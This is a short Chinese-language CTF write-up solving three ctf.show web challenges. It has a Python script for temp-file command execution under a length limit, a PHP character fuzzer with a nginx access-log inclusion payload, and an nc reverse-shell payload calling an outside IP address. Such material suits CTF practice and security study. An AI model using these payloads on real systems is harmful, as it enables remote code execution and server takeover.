目录
web签到
easy_calc
easy_cmd
web签到
CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_ctf中字符长度限制下的命令执行 5个字符-CSDN博客7长度限制直接梭了
也可以打临时文件RCE
import requests
url = "http://4ae13f1e-8e42-4afa-a6a6-1076acd08211.challenge.ctf.show/"
def getFlag():
file={
"file":"#!/bin/sh\ncat /f*>/var/www/html/1.txt"
}
data={
"cmd":". /t*/*"
}
response = requests.post(url=url+"api/tools.php",files=file,data=data)
if "t*" in response.text:
print("执行成功,检查回显...")
response = requests.get(url=url+"1.txt")
if response.status_code == 200:
print("flag 获取成功 "+response.text)
else:
print("flag 获取失败")
if __name__ == '__main__':
getFlag()
easy_calc
一眼命令拼接,先fuzz一下可以用的字符
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/",chr($i))){
echo chr($i)." ";
}
}
// " ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; A B C D E F G H I J K L M N O P Q R S T U V W X Y Z \ ] a b c d e f g h i j k l m n o p q r s t u v w x y z }
过滤了括号,不难想到用include
直接nginx日志包含
payload:
num1=1&symbol=-&num2=1;include "/var/log/nginx/access.log"
UA写入命令执行
easy_cmd
直接nc反弹shell
payload:
cmd=nc 124.222.136.33 1337 -e /bin/sh